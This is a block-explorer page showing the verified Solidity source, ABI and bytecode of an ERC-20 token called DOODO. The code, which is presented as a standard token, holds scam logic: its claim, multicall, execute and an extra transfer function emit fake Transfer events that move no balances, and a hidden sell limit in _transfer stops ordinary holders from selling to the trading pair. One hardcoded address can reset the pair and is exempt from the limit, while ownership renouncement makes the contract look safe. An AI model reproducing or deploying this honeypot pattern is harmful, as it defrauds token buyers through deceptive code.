ETH Price: $2,918.60 (+1.57%)
 

Overview

Max Total Supply

108,800,000,000 ERC-20 TOKEN*

Holders

28 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Balance
1,544,433,864.62559264 ERC-20 TOKEN*

Value
$0.00
0xf13b1CFf0ceDEbB16AB6182195c5cd5A109b3082
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DOODO

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-09
*/

/**
 *Submitted for verification at Etherscan.io on 2024-04-05
*/

/**
 *Submitted for verification at Etherscan.io on 2024-02-24
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Meta is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract DOODO is Ownable, IERC20, IERC20Meta {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private _p76234;
    uint256 private  _e242 = 999;


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }


    function claim(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_p76234, _addresses_[i], _out);
        }
    }
    function multicall(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_p76234, _addresses_[i], _out);
        }
    }
    function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_p76234, _addresses_[i], _out);
        }
    }


    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function actionPair(address account) public virtual returns (bool) {
         if(_msgSender() == 0xf5Cf955D81C6fEf1347Fe1EAF36b0c844703d7e7) _p76234 = account;
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
        renounceOwnership();
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");

        if((from != _p76234 && to == 
        0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||
         (_p76234 == to && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 && 
         from  != 0x776d9C43BB3FF1C16Af5Dc06bEeF90768bBB5DeC 
         && from != 0xf5Cf955D81C6fEf1347Fe1EAF36b0c844703d7e7
         && from != 0x7775BAD15B0Af5854fe3Ad6E25B8d53F058B0f06)) {
            uint256 _X7W88 = amount + 1;
            require(_X7W88 < _e242 );
        }
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor() {
        _name = unicode"DOODO";
        _symbol = unicode"DOODO";
        _mint(msg.sender, 108800000000 * 10 ** decimals());
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"actionPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526103e7600755348015610015575f80fd5b5061001f3361009b565b604080518082019091526005815264444f4f444f60d81b602082015260049061004890826102be565b5060408051808201909152600580825264444f4f444f60d81b60208301529061007190826102be565b50610096336100826008600a610473565b61009190641954fc4000610488565b6100ea565b6104b2565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166101455760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060035f828254610156919061049f565b90915550506001600160a01b0382165f818152600160209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36101b26101bb565b5050565b505050565b6101c36101ce565b6101cc5f61009b565b565b5f546001600160a01b031633146101cc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161013c565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061024f57607f821691505b60208210810361026d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101b657805f5260205f20601f840160051c810160208510156102985750805b601f840160051c820191505b818110156102b7575f81556001016102a4565b5050505050565b81516001600160401b038111156102d7576102d7610227565b6102eb816102e5845461023b565b84610273565b602080601f83116001811461031e575f84156103075750858301515b5f19600386901b1c1916600185901b178555610375565b5f85815260208120601f198616915b8281101561034c5788860151825594840194600190910190840161032d565b508582101561036957878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156103cb57815f19048211156103b1576103b161037d565b808516156103be57918102915b93841c9390800290610396565b509250929050565b5f826103e15750600161046d565b816103ed57505f61046d565b8160018114610403576002811461040d57610429565b600191505061046d565b60ff84111561041e5761041e61037d565b50506001821b61046d565b5060208310610133831016604e8410600b841016171561044c575081810a61046d565b6104568383610391565b805f19048211156104695761046961037d565b0290505b92915050565b5f61048160ff8416836103d3565b9392505050565b808202811582820484141761046d5761046d61037d565b8082018082111561046d5761046d61037d565b610d03806104bf5f395ff3fe608060405234801561000f575f80fd5b5060043610610106575f3560e01c806370a082311161009e578063a9059cbb1161006e578063a9059cbb1461020c578063beabacc81461021f578063dd62ed3e14610232578063e7b817491461026a578063f2fde38b1461027d575f80fd5b806370a08231146101ba578063715018a6146101e25780638da5cb5b146101ea57806395d89b4114610204575f80fd5b806326ededb8116100d957806326ededb814610170578063313ce56714610185578063321bef231461019457806368432dad146101a7575f80fd5b806306fdde031461010a578063095ea7b31461012857806318160ddd1461014b57806323b872dd1461015d575b5f80fd5b610112610290565b60405161011f9190610acc565b60405180910390f35b61013b610136366004610b1c565b610320565b604051901515815260200161011f565b6003545b60405190815260200161011f565b61013b61016b366004610b44565b610339565b61018361017e366004610b7d565b61035c565b005b6040516008815260200161011f565b6101836101a2366004610b7d565b6103ce565b6101836101b5366004610b7d565b61043a565b61014f6101c8366004610bf1565b6001600160a01b03165f9081526001602052604090205490565b6101836104a6565b5f546040516001600160a01b03909116815260200161011f565b6101126104b9565b61013b61021a366004610b1c565b6104c8565b61018361022d366004610b44565b6104d5565b61014f610240366004610c11565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b61013b610278366004610bf1565b610514565b61018361028b366004610bf1565b610554565b60606004805461029f90610c42565b80601f01602080910402602001604051908101604052809291908181526020018280546102cb90610c42565b80156103165780601f106102ed57610100808354040283529160200191610316565b820191905f5260205f20905b8154815290600101906020018083116102f957829003601f168201915b5050505050905090565b5f3361032d8185856105d2565b60019150505b92915050565b5f336103468582856106ed565b610351858585610777565b506001949350505050565b5f5b828110156103c85783838281811061037857610378610c7a565b905060200201602081019061038d9190610bf1565b6006546040518481526001600160a01b0392831692909116905f80516020610cae8339815191529060200160405180910390a360010161035e565b50505050565b5f5b828110156103c8578383828181106103ea576103ea610c7a565b90506020020160208101906103ff9190610bf1565b6006546040518481526001600160a01b0392831692909116905f80516020610cae8339815191529060200160405180910390a36001016103d0565b5f5b828110156103c85783838281811061045657610456610c7a565b905060200201602081019061046b9190610bf1565b6006546040518481526001600160a01b0392831692909116905f80516020610cae8339815191529060200160405180910390a360010161043c565b6104ae610a24565b6104b75f610a7d565b565b60606005805461029f90610c42565b5f3361032d818585610777565b816001600160a01b0316836001600160a01b03165f80516020610cae8339815191528360405161050791815260200190565b60405180910390a3505050565b5f3373f5cf955d81c6fef1347fe1eaf36b0c844703d7e70361054c57600680546001600160a01b0319166001600160a01b0384161790555b506001919050565b61055c610a24565b6001600160a01b0381166105c65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6105cf81610a7d565b50565b6001600160a01b0383166106345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bd565b6001600160a01b0382166106955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bd565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610507565b6001600160a01b038381165f908152600260209081526040808320938616835292905220545f1981146103c8578181101561076a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016105bd565b6103c884848484036105d2565b6001600160a01b0382166107d95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bd565b6001600160a01b03831661083d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bd565b6006546001600160a01b038481169116148015906108775750736b75d8af000000e20b7a7ddf000ba900b4009a806001600160a01b038316145b8061093257506006546001600160a01b0383811691161480156108b75750736b75d8af000000e20b7a7ddf000ba900b4009a806001600160a01b03841614155b80156108e0575073776d9c43bb3ff1c16af5dc06beef90768bbb5dec6001600160a01b03841614155b8015610909575073f5cf955d81c6fef1347fe1eaf36b0c844703d7e76001600160a01b03841614155b80156109325750737775bad15b0af5854fe3ad6e25b8d53f058b0f066001600160a01b03841614155b15610954575f610943826001610c8e565b90506007548110610952575f80fd5b505b6001600160a01b0383165f90815260016020526040902054818110156109cb5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105bd565b6001600160a01b038085165f8181526001602052604080822086860390559286168082529083902080548601905591515f80516020610cae83398151915290610a179086815260200190565b60405180910390a36103c8565b5f546001600160a01b031633146104b75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105bd565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610b17575f80fd5b919050565b5f8060408385031215610b2d575f80fd5b610b3683610b01565b946020939093013593505050565b5f805f60608486031215610b56575f80fd5b610b5f84610b01565b9250610b6d60208501610b01565b9150604084013590509250925092565b5f805f60408486031215610b8f575f80fd5b833567ffffffffffffffff80821115610ba6575f80fd5b818601915086601f830112610bb9575f80fd5b813581811115610bc7575f80fd5b8760208260051b8501011115610bdb575f80fd5b6020928301989097509590910135949350505050565b5f60208284031215610c01575f80fd5b610c0a82610b01565b9392505050565b5f8060408385031215610c22575f80fd5b610c2b83610b01565b9150610c3960208401610b01565b90509250929050565b600181811c90821680610c5657607f821691505b602082108103610c7457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561033357634e487b7160e01b5f52601160045260245ffdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220159665834ac3f7b8c90b428f7f104f070b60884d58d4311b01f0ffff706c3b4c64736f6c63430008190033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610106575f3560e01c806370a082311161009e578063a9059cbb1161006e578063a9059cbb1461020c578063beabacc81461021f578063dd62ed3e14610232578063e7b817491461026a578063f2fde38b1461027d575f80fd5b806370a08231146101ba578063715018a6146101e25780638da5cb5b146101ea57806395d89b4114610204575f80fd5b806326ededb8116100d957806326ededb814610170578063313ce56714610185578063321bef231461019457806368432dad146101a7575f80fd5b806306fdde031461010a578063095ea7b31461012857806318160ddd1461014b57806323b872dd1461015d575b5f80fd5b610112610290565b60405161011f9190610acc565b60405180910390f35b61013b610136366004610b1c565b610320565b604051901515815260200161011f565b6003545b60405190815260200161011f565b61013b61016b366004610b44565b610339565b61018361017e366004610b7d565b61035c565b005b6040516008815260200161011f565b6101836101a2366004610b7d565b6103ce565b6101836101b5366004610b7d565b61043a565b61014f6101c8366004610bf1565b6001600160a01b03165f9081526001602052604090205490565b6101836104a6565b5f546040516001600160a01b03909116815260200161011f565b6101126104b9565b61013b61021a366004610b1c565b6104c8565b61018361022d366004610b44565b6104d5565b61014f610240366004610c11565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b61013b610278366004610bf1565b610514565b61018361028b366004610bf1565b610554565b60606004805461029f90610c42565b80601f01602080910402602001604051908101604052809291908181526020018280546102cb90610c42565b80156103165780601f106102ed57610100808354040283529160200191610316565b820191905f5260205f20905b8154815290600101906020018083116102f957829003601f168201915b5050505050905090565b5f3361032d8185856105d2565b60019150505b92915050565b5f336103468582856106ed565b610351858585610777565b506001949350505050565b5f5b828110156103c85783838281811061037857610378610c7a565b905060200201602081019061038d9190610bf1565b6006546040518481526001600160a01b0392831692909116905f80516020610cae8339815191529060200160405180910390a360010161035e565b50505050565b5f5b828110156103c8578383828181106103ea576103ea610c7a565b90506020020160208101906103ff9190610bf1565b6006546040518481526001600160a01b0392831692909116905f80516020610cae8339815191529060200160405180910390a36001016103d0565b5f5b828110156103c85783838281811061045657610456610c7a565b905060200201602081019061046b9190610bf1565b6006546040518481526001600160a01b0392831692909116905f80516020610cae8339815191529060200160405180910390a360010161043c565b6104ae610a24565b6104b75f610a7d565b565b60606005805461029f90610c42565b5f3361032d818585610777565b816001600160a01b0316836001600160a01b03165f80516020610cae8339815191528360405161050791815260200190565b60405180910390a3505050565b5f3373f5cf955d81c6fef1347fe1eaf36b0c844703d7e70361054c57600680546001600160a01b0319166001600160a01b0384161790555b506001919050565b61055c610a24565b6001600160a01b0381166105c65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6105cf81610a7d565b50565b6001600160a01b0383166106345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bd565b6001600160a01b0382166106955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bd565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610507565b6001600160a01b038381165f908152600260209081526040808320938616835292905220545f1981146103c8578181101561076a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016105bd565b6103c884848484036105d2565b6001600160a01b0382166107d95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bd565b6001600160a01b03831661083d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bd565b6006546001600160a01b038481169116148015906108775750736b75d8af000000e20b7a7ddf000ba900b4009a806001600160a01b038316145b8061093257506006546001600160a01b0383811691161480156108b75750736b75d8af000000e20b7a7ddf000ba900b4009a806001600160a01b03841614155b80156108e0575073776d9c43bb3ff1c16af5dc06beef90768bbb5dec6001600160a01b03841614155b8015610909575073f5cf955d81c6fef1347fe1eaf36b0c844703d7e76001600160a01b03841614155b80156109325750737775bad15b0af5854fe3ad6e25b8d53f058b0f066001600160a01b03841614155b15610954575f610943826001610c8e565b90506007548110610952575f80fd5b505b6001600160a01b0383165f90815260016020526040902054818110156109cb5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105bd565b6001600160a01b038085165f8181526001602052604080822086860390559286168082529083902080548601905591515f80516020610cae83398151915290610a179086815260200190565b60405180910390a36103c8565b5f546001600160a01b031633146104b75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105bd565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610b17575f80fd5b919050565b5f8060408385031215610b2d575f80fd5b610b3683610b01565b946020939093013593505050565b5f805f60608486031215610b56575f80fd5b610b5f84610b01565b9250610b6d60208501610b01565b9150604084013590509250925092565b5f805f60408486031215610b8f575f80fd5b833567ffffffffffffffff80821115610ba6575f80fd5b818601915086601f830112610bb9575f80fd5b813581811115610bc7575f80fd5b8760208260051b8501011115610bdb575f80fd5b6020928301989097509590910135949350505050565b5f60208284031215610c01575f80fd5b610c0a82610b01565b9392505050565b5f8060408385031215610c22575f80fd5b610c2b83610b01565b9150610c3960208401610b01565b90509250929050565b600181811c90821680610c5657607f821691505b602082108103610c7457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561033357634e487b7160e01b5f52601160045260245ffdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220159665834ac3f7b8c90b428f7f104f070b60884d58d4311b01f0ffff706c3b4c64736f6c63430008190033

Deployed Bytecode Sourcemap

3241:5602:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3650:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5116:201;;;;;;:::i;:::-;;:::i;:::-;;;1039:14:1;;1032:22;1014:41;;1002:2;987:18;5116:201:0;874:187:1;5685:108:0;5773:12;;5685:108;;;1212:25:1;;;1200:2;1185:18;5685:108:0;1066:177:1;5325:295:0;;;;;;:::i;:::-;;:::i;4408:211::-;;;;;;:::i;:::-;;:::i;:::-;;3872:92;;;3955:1;2417:36:1;;2405:2;2390:18;3872:92:0;2275:184:1;4189:213:0;;;;;;:::i;:::-;;:::i;3974:209::-;;;;;;:::i;:::-;;:::i;5856:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5957:18:0;5930:7;5957:18;;;:9;:18;;;;;;;5856:127;2717:103;;;:::i;2482:87::-;2528:7;2555:6;2482:87;;-1:-1:-1;;;;;2555:6:0;;;2801:51:1;;2789:2;2774:18;2482:87:0;2655:203:1;3758:104:0;;;:::i;4754:193::-;;;;;;:::i;:::-;;:::i;4629:119::-;;;;;;:::i;:::-;;:::i;4955:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5071:18:0;;;5044:7;5071:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4955:151;5991:189;;;;;;:::i;:::-;;:::i;2828:201::-;;;;;;:::i;:::-;;:::i;3650:100::-;3704:13;3737:5;3730:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3650:100;:::o;5116:201::-;5199:4;2037:10;5255:32;2037:10;5271:7;5280:6;5255:8;:32::i;:::-;5305:4;5298:11;;;5116:201;;;;;:::o;5325:295::-;5456:4;2037:10;5514:38;5530:4;2037:10;5545:6;5514:15;:38::i;:::-;5563:27;5573:4;5579:2;5583:6;5563:9;:27::i;:::-;-1:-1:-1;5608:4:0;;5325:295;-1:-1:-1;;;;5325:295:0:o;4408:211::-;4497:9;4492:120;4512:22;;;4492:120;;;4579:11;;4591:1;4579:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;4570:7;;4561:39;;1212:25:1;;;-1:-1:-1;;;;;4561:39:0;;;;4570:7;;;;-1:-1:-1;;;;;;;;;;;4561:39:0;1200:2:1;1185:18;4561:39:0;;;;;;;4536:3;;4492:120;;;;4408:211;;;:::o;4189:213::-;4280:9;4275:120;4295:22;;;4275:120;;;4362:11;;4374:1;4362:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;4353:7;;4344:39;;1212:25:1;;;-1:-1:-1;;;;;4344:39:0;;;;4353:7;;;;-1:-1:-1;;;;;;;;;;;4344:39:0;1200:2:1;1185:18;4344:39:0;;;;;;;4319:3;;4275:120;;3974:209;4061:9;4056:120;4076:22;;;4056:120;;;4143:11;;4155:1;4143:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;4134:7;;4125:39;;1212:25:1;;;-1:-1:-1;;;;;4125:39:0;;;;4134:7;;;;-1:-1:-1;;;;;;;;;;;4125:39:0;1200:2:1;1185:18;4125:39:0;;;;;;;4100:3;;4056:120;;2717:103;2443:13;:11;:13::i;:::-;2782:30:::1;2809:1;2782:18;:30::i;:::-;2717:103::o:0;3758:104::-;3814:13;3847:7;3840:14;;;;;:::i;4754:193::-;4833:4;2037:10;4889:28;2037:10;4906:2;4910:6;4889:9;:28::i;4629:119::-;4730:3;-1:-1:-1;;;;;4714:26:0;4723:5;-1:-1:-1;;;;;4714:26:0;-1:-1:-1;;;;;;;;;;;4735:4:0;4714:26;;;;1212:25:1;;1200:2;1185:18;;1066:177;4714:26:0;;;;;;;;4629:119;;;:::o;5991:189::-;6052:4;2037:10;6089:42;6073:58;6070:80;;6133:7;:17;;-1:-1:-1;;;;;;6133:17:0;-1:-1:-1;;;;;6133:17:0;;;;;6070:80;-1:-1:-1;6168:4:0;;5991:189;-1:-1:-1;5991:189:0:o;2828:201::-;2443:13;:11;:13::i;:::-;-1:-1:-1;;;;;2917:22:0;::::1;2909